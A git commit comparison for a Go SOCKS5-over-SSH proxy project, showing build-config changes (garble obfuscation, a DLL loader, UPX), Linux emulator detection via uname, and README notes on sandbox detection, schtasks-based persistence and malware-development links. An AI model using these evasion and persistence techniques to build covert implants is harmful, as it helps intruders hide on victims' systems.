Compare commits

...

5 Commits

10 changed files with 117 additions and 27 deletions

View File

@ -26,13 +26,30 @@ builds:
goarch: goarch:
- amd64 - amd64
ldflags: ldflags:
- -s -trimpath - -w -trimpath
gobinary: "scripts/garble.sh" gobinary: "scripts/garble.sh"
buildmode: c-shared buildmode: c-shared
tags: tags:
- release - release
- dll - dll
- id: "win-dll-loader"
env:
- CGO_ENABLED=1
- CC=x86_64-w64-mingw32-gcc
- CXX=x86_64-w64-mingw32-g++
main: ./cmd/win-dll-runner/main.go
ldflags:
- -w
gobinary: "scripts/garble.sh"
goos:
- windows
goarch:
- amd64
tags:
- release
- id: "win-release" - id: "win-release"
env: env:
- CGO_ENABLED=1 - CGO_ENABLED=1
@ -43,7 +60,7 @@ builds:
goarch: goarch:
- amd64 - amd64
ldflags: ldflags:
- -H=windowsgui - -w -H=windowsgui
gobinary: "scripts/garble.sh" gobinary: "scripts/garble.sh"
tags: tags:
- release - release
@ -52,7 +69,7 @@ upx:
- # Whether to enable it or not. - # Whether to enable it or not.
# #
# Templates: allowed. # Templates: allowed.
enabled: true enabled: false
# Filter by build ID. # Filter by build ID.
#ids: [build1, build2] #ids: [build1, build2]

View File

@ -1,4 +1,4 @@
SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go system_windows.go system_unix.go SOURCES=Makefile main.go main_release.go main_debug.go config.go config_release.go config_template.go system.go system_windows.go system_linux.go system_darwin.go
GARBLE_BIN = $(shell go env GOPATH)/bin/garble GARBLE_BIN = $(shell go env GOPATH)/bin/garble
GARBLE_CMD = $(GARBLE_BIN) -literals -tiny GARBLE_CMD = $(GARBLE_BIN) -literals -tiny
@ -14,7 +14,7 @@ test: socks5-ssh-proxy
test-release: socks5-ssh-proxy.release test-release: socks5-ssh-proxy.release
./socks5-ssh-proxy.release ./socks5-ssh-proxy.release
socks5-ssh-proxy: $(SOURCES) socks5-ssh-proxy: $(SOURCES)
go build -o $@ GOOS=linux GOARCH=amd64 go build -tags release,linux -o $@
socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN) socks5-ssh-proxy.release: resources $(SOURCES) $(GARBLE_BIN)
GOOS=darwin GOARCH=amd64 $(GARBLE_CMD) build -tags release -o $@ GOOS=darwin GOARCH=amd64 $(GARBLE_CMD) build -tags release -o $@
upx $@ upx $@

View File

@ -62,19 +62,3 @@ Following detections have been tested:
* upx * upx
* goreleaser * goreleaser
* mingw-w64 (for building the windows dll/exe) * mingw-w64 (for building the windows dll/exe)
## Related information
* <https://github.com/rootkit-io/awesome-malware-development>
* <https://github.com/rshipp/awesome-malware-analysis#readme>
* <https://github.com/Karneades/awesome-malware-persistence#readme>>
* <https://www.yourcts.com/2024/01/19/beware-of-new-go-based-malware/>
* <https://posts.specterops.io/offensive-security-guide-to-ssh-tunnels-and-proxies-b525cbd4d4c6>
* <https://emulator41.medium.com/golang-malware-used-by-cybercriminals-408276a276c8>
* <https://synzack.github.io/Tunneling-Traffic-With-SSL-and-TLS/>
## Development information
* <https://pypi.org/project/unipacker/>
* <https://medium.com/analytics-vidhya/running-go-code-from-python-a65b3ae34a2d>
* <https://github.com/burrowers/garble?tab=readme-ov-file#mechanism>>

View File

@ -5,7 +5,6 @@ package main
import ( import (
"golang.org/x/sys/windows" "golang.org/x/sys/windows"
"os"
) )
func runMainFromDLL() { func runMainFromDLL() {
@ -17,7 +16,7 @@ func runMainFromDLL() {
return return
} }
_, _, _ := runMainFunc.Call() _, _, _ = runMainFunc.Call()
} }
func main() { func main() {

View File

@ -46,9 +46,44 @@ Check if running under wine by testing if executables are present:
* The "VMK" environment variable is the VerboseModeKey which enables logging to stdout/stderr even in release build * The "VMK" environment variable is the VerboseModeKey which enables logging to stdout/stderr even in release build
## OS and emulator/environment detector
* Linux
* Native
* Msys (Windows)
* CYGWIN (Windows)
* [Microsoft WSL & WSLv2](https://github.com/microsoft/WSL/issues/4071)
* [FreeBSD linuxemu](https://docs.freebsd.org/en/books/handbook/linuxemu/)
* Windows
* WINE
* ReactOS
* Native
* Darwin (macOS)
## Windows ## Windows
* Copy to well known current user binary path to semi related filenames * Copy to well known current user binary path to semi related filenames
* Run via start menu item for current user, or via `schtasks` * Run via start menu item for current user, or via `schtasks`
* <https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create> * <https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/schtasks-create>
* <https://github.com/emersion/go-autostart> * <https://github.com/emersion/go-autostart>
## Detection
* <https://www.logpoint.com/en/blog/deep-dive-on-malicious-dlls/>
* <https://github.com/sandflysecurity/sandfly-entropyscan>
* <https://pypi.org/project/unipacker/>
## Related information
* <https://github.com/rootkit-io/awesome-malware-development>
* <https://github.com/rshipp/awesome-malware-analysis#readme>
* <https://github.com/Karneades/awesome-malware-persistence#readme>>
* <https://www.yourcts.com/2024/01/19/beware-of-new-go-based-malware/>
* <https://posts.specterops.io/offensive-security-guide-to-ssh-tunnels-and-proxies-b525cbd4d4c6>
* <https://emulator41.medium.com/golang-malware-used-by-cybercriminals-408276a276c8>
* <https://synzack.github.io/Tunneling-Traffic-With-SSL-and-TLS/>
## Development information
* <https://medium.com/analytics-vidhya/running-go-code-from-python-a65b3ae34a2d>
* <https://github.com/burrowers/garble?tab=readme-ov-file#mechanism>>

2
go.mod
View File

@ -6,13 +6,13 @@ require (
github.com/cloudfoundry/socks5-proxy v0.2.120 github.com/cloudfoundry/socks5-proxy v0.2.120
github.com/xor-gate/sshfp v0.0.0-20200411085609-13942eb67330 github.com/xor-gate/sshfp v0.0.0-20200411085609-13942eb67330
golang.org/x/crypto v0.25.0 golang.org/x/crypto v0.25.0
golang.org/x/sys v0.22.0
) )
require ( require (
github.com/cloudfoundry/go-socks5 v0.0.0-20180221174514-54f73bdb8a8e // indirect github.com/cloudfoundry/go-socks5 v0.0.0-20180221174514-54f73bdb8a8e // indirect
github.com/miekg/dns v1.1.29 // indirect github.com/miekg/dns v1.1.29 // indirect
golang.org/x/net v0.27.0 // indirect golang.org/x/net v0.27.0 // indirect
golang.org/x/sys v0.22.0 // indirect
) )
replace github.com/cloudfoundry/socks5-proxy v0.2.120 => github.com/xor-gate/socks5-proxy v0.0.0-20240724155447-4b9ab1a56d38 replace github.com/cloudfoundry/socks5-proxy v0.2.120 => github.com/xor-gate/socks5-proxy v0.0.0-20240724155447-4b9ab1a56d38

View File

@ -156,6 +156,8 @@ func systemIgnoreAllSignals() {
} }
func systemOSDetect() { func systemOSDetect() {
systemGetUname()
wineVersion := systemGetWINEVersion() wineVersion := systemGetWINEVersion()
log.Println("WINE version", wineVersion) log.Println("WINE version", wineVersion)
log.Println("IsUserRoot", systemIsUserRoot()) log.Println("IsUserRoot", systemIsUserRoot())

View File

@ -1,13 +1,14 @@
//go:build !windows //go:build darwin
// +build !windows // +build darwin
//
package main package main
func systemGetWINEVersion() string { func systemGetWINEVersion() string {
return "" return ""
} }
func systemGetUname() {
}
func systemIsUserRoot() bool { func systemIsUserRoot() bool {
return false return false

49
system_linux.go Normal file
View File

@ -0,0 +1,49 @@
//go:build linux
// +build linux
package main
import (
"log"
"syscall"
"strings"
)
func systemGetWINEVersion() string {
return ""
}
func systemGetUname() {
var uts syscall.Utsname
err := syscall.Uname(&uts)
if err != nil {
log.Println("Error getting system information:", err)
return
}
// Convert the byte arrays to strings
sysname := int8SliceToString(uts.Sysname[:])
release := int8SliceToString(uts.Release[:])
version := int8SliceToString(uts.Version[:])
// Check for FreeBSD Linux emulation specific indicators
log.Println("syscall.Uname:", "(sysname)", sysname, "(release)", release, "(version)", version)
if strings.Contains(sysname, "Linux") && strings.Contains(version, "FreeBSD") {
log.Println("Running under FreeBSD linuxemu")
}
}
// int8SliceToString converts a slice of int8 to a string.
func int8SliceToString(int8Slice []int8) string {
// Create a byte slice with the same length as the int8 slice
byteSlice := make([]byte, len(int8Slice))
for i, v := range int8Slice {
byteSlice[i] = byte(v)
}
return string(byteSlice)
}
func systemIsUserRoot() bool {
return false
}

View File

@ -26,6 +26,9 @@ func systemGetWINEVersion() string {
return wineVersion return wineVersion
} }
func systemGetUname() {
}
func systemIsUserRoot() bool { func systemIsUserRoot() bool {
root := true root := true